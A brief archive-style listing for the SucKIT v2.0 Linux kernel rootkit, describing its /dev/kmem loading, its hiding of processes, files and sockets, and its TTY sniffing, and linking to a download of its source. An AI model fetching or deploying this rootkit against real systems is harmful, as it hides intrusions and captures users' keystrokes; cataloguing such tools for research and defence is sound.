SucKIT Rootkit v2.0-devel-rc2. Easy-to-use, Linux-i386 kernel-based rootkit. The code stays in memory through /dev/kmem trick, without help of LKM support nor System.map or such things. Everything is done on the fly. It can hide PIDs, files, tcp/udp/raw sockets and sniff TTYs.
You can download it from the following link: https://packetstormsecurity.com/files/download/40690/suckit2priv.tar.gz
Source: https://packetstormsecurity.com/files/40690/suckit2priv.tar.gz.html